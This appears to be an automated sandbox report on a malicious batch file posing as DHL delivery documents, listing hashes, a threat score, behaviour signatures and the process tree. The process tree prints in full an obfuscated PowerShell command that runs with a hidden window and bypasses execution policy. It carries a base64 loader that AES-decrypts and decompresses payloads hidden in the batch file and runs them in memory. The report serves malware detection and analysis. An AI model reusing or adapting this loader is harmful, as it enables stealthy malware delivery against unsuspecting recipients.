Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    06/03/2025, 15:59

General

  • Target

    awb_post_dhl_delivery_documents_06_03_2025_00000000000250.bat

  • Size

    64KB

  • MD5

    fef11d117754e450b937fd134f9dba13

  • SHA1

    1024f7c99c81e39f0f53710d24e06ddea52082ad

  • SHA256

    999ec6f3dd5816786295500cd790941727bdaccb9640becf284938bda7cd73a9

  • SHA512

    db20ef27451bb79a9f21b9213e29e9ee40326c8b8dc28ba824a3aad3d901481ab18acd49d77ee0a2d68799853db5ed1ac9e76e8515070ee83632181a141a0bc4

  • SSDEEP

    1536:8nDChFG71EIZWgZkbmEKUgXEXzICKUnFT3mKHWCW7zxk7Qvc5MCzAlZt:DHft3mK2Cuzv/H

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_06_03_2025_00000000000250.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1600
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_06_03_2025_00000000000250.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2672
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskY3ltZGkgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGN5bWRpKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRjeW1kaSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRjeW1kaSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkY3ltZGkiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24genpzdnIoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ1VSdS9RWlRaODlPQnQ0ZXlmdGVZTFhBb2ozdklKSklhT3R4blY1TVVSMms9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0g4Sk43d05LRmdGekhQZ1BBVkFiL1E9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gZnZnd3MoJHBhcmFtX3Zhcil7CSRua21yZz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkd2lmd2M9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkdHNjdWE9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkbmttcmcsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHRzY3VhLkNvcHlUbygkd2lmd2MpOwkkdHNjdWEuRGlzcG9zZSgpOwkkbmttcmcuRGlzcG9zZSgpOwkkd2lmd2MuRGlzcG9zZSgpOwkkd2lmd2MuVG9BcnJheSgpO31mdW5jdGlvbiB3YmVyZygkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHZmZHNzPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGhnbGtyPSR2ZmRzcy5FbnRyeVBvaW50OwkkaGdsa3IuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGN5bWRpOyRoYWRwaD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGN5bWRpKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkZmNwIGluICRoYWRwaCkgewlpZiAoJGZjcC5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHRuZ2ZhPSRmY3AuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGFkdmtrPVtzdHJpbmdbXV0kdG5nZmEuU3BsaXQoJ1wnKTskam5ocnQ9ZnZnd3MgKHp6c3ZyIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGFkdmtrWzBdKSkpOyRmanViaz1mdmd3cyAoenpzdnIgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYWR2a2tbMV0pKSk7d2JlcmcgJGpuaHJ0ICRudWxsO3diZXJnICRmanViayAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2788

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2788-6-0x000007FEF513E000-0x000007FEF513F000-memory.dmp

    Filesize

    4KB

  • memory/2788-7-0x000000001B720000-0x000000001BA02000-memory.dmp

    Filesize

    2.9MB

  • memory/2788-8-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

    Filesize

    9.6MB

  • memory/2788-10-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

    Filesize

    9.6MB

  • memory/2788-9-0x00000000028E0000-0x00000000028E8000-memory.dmp

    Filesize

    32KB

  • memory/2788-11-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

    Filesize

    9.6MB

  • memory/2788-12-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

    Filesize

    9.6MB

  • memory/2788-13-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

    Filesize

    9.6MB

  • memory/2788-14-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

    Filesize

    9.6MB